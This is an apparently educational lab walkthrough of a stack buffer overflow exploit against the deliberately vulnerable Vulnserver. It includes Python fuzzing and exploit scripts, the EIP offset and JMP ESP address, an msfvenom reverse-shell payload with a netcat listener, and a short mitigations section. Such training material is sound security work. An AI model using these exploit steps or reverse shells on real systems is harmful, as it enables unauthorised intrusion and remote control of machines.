Table of Contents

Introduction & Target Overview

Buffer overflows are one of the most classic and foundational vulnerabilities in software security. They occur when a program attempts to write more data to a fixed-length memory buffer than it can hold. This overflow can corrupt adjacent memory, crash the program, or, in the hands of a skilled attacker, be manipulated to execute arbitrary code.

This guide provides a comprehensive walkthrough of the entire exploit development process for a stack-based buffer overflow. Our goal is to move beyond theory and execute a practical attack, from initial discovery with fuzzing to gaining a reverse shell on the target system.

For this exercise, our target will be Vulnserver, a deliberately vulnerable piece of software designed for exploit development practice. We will specifically target the TRUN command, which is susceptible to a buffer overflow. By the end, we will have taken complete control of the program’s execution flow.

Tools & Environment Setup

A proper lab environment is crucial for safe and effective analysis. Here’s what you’ll need:

  • Attacker Machine: A Kali Linux VM (or any Linux distro with the necessary tools).
  • Target Machine: A Windows (7/10) VM without modern security features like Windows Defender enabled.
  • Target Application: Vulnserver running on the Windows VM.
  • Debugger: Immunity Debugger installed on the Windows VM.
  • Debugger Plugin: Mona.py, placed in C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands.

Environment Configuration:

  1. Ensure both VMs are on the same network (e.g., NATNetwork in VirtualBox) and can ping each other.
  2. On the Windows VM, run vulnserver.exe as an administrator.
  3. Launch Immunity Debugger as an administrator.
  4. In Immunity, go to File -> Attach and select the vulnserver process.
  5. Click the “Play” button (or press F9) to resume the program. The status in the bottom right should change to “Running”.

Static Analysis

While this guide focuses on dynamic analysis, a quick look at the binary in a disassembler like Ghidra or IDA Pro is a good practice. In a real-world scenario, you would search for potentially dangerous functions like strcpy(), sprintf(), and gets() which don’t perform bounds checking. For Vulnserver, static analysis would confirm the use of recv() to read user input into a fixed-size buffer, a strong indicator of a potential overflow.

Dynamic Analysis & Fuzzing

Dynamic analysis involves interacting with the live application to observe its behavior. Our first step is to confirm the vulnerability and find out roughly how much data is needed to crash it.

Step 1: Spiking and Target Interaction

First, let’s confirm we can talk to the server and identify the TRUN command. From your Kali machine, use netcat:

nc -nv <WINDOWS_IP> 9999

The server will respond with a welcome message. If you type HELP, it will list available commands, including TRUN. This is our target.

Step 2: Fuzzing the TRUN Command

Fuzzing is the process of sending malformed or random data to a target to provoke unexpected behavior. We will write a simple Python script to send the TRUN command followed by an increasingly large string of “A”s (\x41).

fuzzer.py

import socket
import time
import sys

ip = "<WINDOWS_IP>"
port = 9999
command = b"TRUN /.:/"  # The command we are targeting

buffer = b"A" * 100

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, port))
        print(f"Fuzzing with {len(buffer)} bytes")
        s.send(command + buffer)
        s.close()
        time.sleep(1)
        buffer += b"A" * 100
    except:
        print(f"Fuzzing crashed at {len(buffer)} bytes")
        sys.exit()

Run this script from your Kali machine. Watch Immunity Debugger on your Windows VM. After a few seconds, Vulnserver will crash with an Access violation. The fuzzer script will print the approximate number of bytes that caused the crash. Let’s say it crashed around 2100 bytes.

Vulnerability & Exploitation Walkthrough

Now that we’ve confirmed a crash, we can begin the precise process of crafting an exploit.

Step 3: Finding the Exact Offset

We need to find the exact number of bytes required to overwrite the EIP (Extended Instruction Pointer) register. EIP holds the address of the next instruction to be executed, and controlling it means controlling the program.

  1. Generate a Unique Pattern: We’ll use Metasploit’s pattern_create.rb tool to generate a non-repeating string. We’ll use a length slightly larger than our fuzzing result, like 2400 bytes.

    /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400

    Copy the long, unique string it generates.

  2. Send the Pattern: Create a new Python script (exploit.py) and send this unique pattern.

    exploit.py (Stage 1)

    import socket
    
    ip = "<WINDOWS_IP>"
    port = 9999
    command = b"TRUN /.:/"
    
    # Paste the unique pattern from pattern_create
    pattern = b"Aa0Aa1Aa2..." 
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    s.send(command + pattern)
    s.close()
  3. Find the Offset: Run the script. Vulnserver will crash again. In Immunity, look at the value in the EIP register. It will be a part of our unique pattern (e.g., 35724134). Now, we find the offset of this value in our pattern. You can use Metasploit’s tool or Mona in Immunity.

    Using Mona (in Immunity’s command bar at the bottom):

    !mona findmsp -distance 2400

    Mona will analyze the stack and registers, outputting something like: EIP contains normal pattern : ... (offset 2003)

    This tells us the exact offset is 2003 bytes.

Step 4: Overwriting the EIP

Let’s verify our offset. We’ll modify our script to send 2003 ‘A’s, followed by four ‘B’s (\x42\x42\x42\x42). If we are correct, the EIP register should be overwritten with 42424242.

exploit.py (Stage 2)

import socket

ip = "<WINDOWS_IP>"
port = 9999
command = b"TRUN /.:/"

offset = b"A" * 2003
eip_overwrite = b"BBBB"
payload = offset + eip_overwrite

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(command + payload)
s.close()

Run this script (after restarting Vulnserver and re-attaching Immunity). Check the EIP register in Immunity. It should now read 42424242. We have successfully controlled the instruction pointer!

Step 5: Finding Bad Characters

Not all characters can be used in shellcode. Some, like the null byte (\x00), can terminate strings prematurely. We need to identify and exclude them.

  1. Generate a Byte Array: In Immunity, use Mona to generate a string of all possible bytes from \x01 to \xff.

    !mona bytearray -b "\x00" 

    (We exclude the null byte by default as it’s almost always a bad character).

  2. Send the Bad Characters: Copy the generated byte string into your script and send it after the EIP overwrite.

    exploit.py (Stage 3)

    # ... (ip, port, command, offset, eip_overwrite) ...
    
    bad_chars = (
      b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
      b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
      # ... (and so on) ...
      b"\xfb\xfc\xfd\xfe\xff"
    )
    
    payload = offset + eip_overwrite + bad_chars
    # ... (send payload) ...
  3. Compare in Memory: Run the script. In Immunity, find the address where ESP (Extended Stack Pointer) is pointing. Right-click it and select “Follow in Dump”. You should see your byte string. Now, use Mona to compare the bytes in memory against your original byte array.

    !mona compare -f C:\mona\vulnserver\bytearray.bin -a <ESP_ADDRESS>

    Mona will report any characters that are missing or corrupted. For Vulnserver’s TRUN command, there are typically no bad characters other than the null byte \x00. If there were others (e.g., \x0a), you would note them down.

Step 6: Finding the Right Module (JMP ESP)

We control EIP, but where do we point it? We need to redirect execution to our shellcode, which will be placed on the stack, right after our EIP overwrite. The stack’s address changes, so we can’t hardcode it. The standard solution is to find a JMP ESP instruction in the program’s memory. This instruction will jump execution to whatever address is currently in the ESP register, which will be pointing right at our shellcode.

In Immunity, use Mona to find a JMP ESP instruction in a module that is not protected by security mechanisms like ASLR.

!mona jmp -r esp -m vulnserver.exe

Mona will list addresses containing the JMP ESP instruction. Pick one, for example, 625011AF. We need to write this in little-endian format in our script: \xaf\x11\x50\x62.

Step 7: Generating and Injecting Shellcode

The final step is to generate our payload and deliver it.

  1. Generate Shellcode with msfvenom: On your Kali machine, create a reverse shell payload. We will tell msfvenom to avoid the bad characters we found (\x00).

    msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f python -b "\x00"
  2. Set up a Listener: In another terminal on your Kali machine, start a Netcat listener to catch the reverse shell.

    nc -lvnp 4444
  3. Construct the Final Exploit: Combine all the pieces in your script: the offset, the JMP ESP address, a NOP sled for stability, and the shellcode.

    exploit.py (Final)

    import socket
    
    ip = "<WINDOWS_IP>"
    port = 9999
    command = b"TRUN /.:/"
    
    offset = b"A" * 2003
    jmp_esp = b"\xaf\x11\x50\x62" # 625011AF
    nop_sled = b"\x90" * 16 # NOP sled for stability
    
    # Paste shellcode from msfvenom
    shellcode = b""
    shellcode += b"\xda\xc3\xb8\x28\xf6\x7c\xcd\xd9\x74\x24\xf4\x5a\x2b"
    # ... (rest of the shellcode) ...
    
    payload = offset + jmp_esp + nop_sled + shellcode
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    s.send(command + payload)
    s.close()

Restart Vulnserver and Immunity one last time, run the final exploit script, and check your Netcat listener. You should have a command prompt from the Windows machine!

Mitigation & Conclusion

This classic buffer overflow is possible because of insecure coding and the lack of modern exploit mitigations. In the real world, defenses like:

  • ASLR (Address Space Layout Randomization): Randomizes the memory locations of modules, making it hard to find a reliable JMP ESP address.
  • DEP/NX (Data Execution Prevention / No-eXecute): Marks the stack as non-executable, preventing shellcode from running directly. This requires more advanced techniques like ROP (Return Oriented Programming) to bypass.
  • Stack Canaries: Places a secret value on the stack before a buffer. If an overflow corrupts this value, the program can detect the tampering and shut down safely.

Summary of Findings: We successfully demonstrated a full exploit chain against a stack-based buffer overflow. We started by fuzzing to identify a crash, precisely calculated the EIP offset, tested for bad characters, located a reliable return address, and finally injected shellcode to gain arbitrary code execution.

Mastering this process is a rite of passage in exploit development. It builds a fundamental understanding of memory, program execution, and the low-level mechanics that underpin many of today’s more complex vulnerabilities.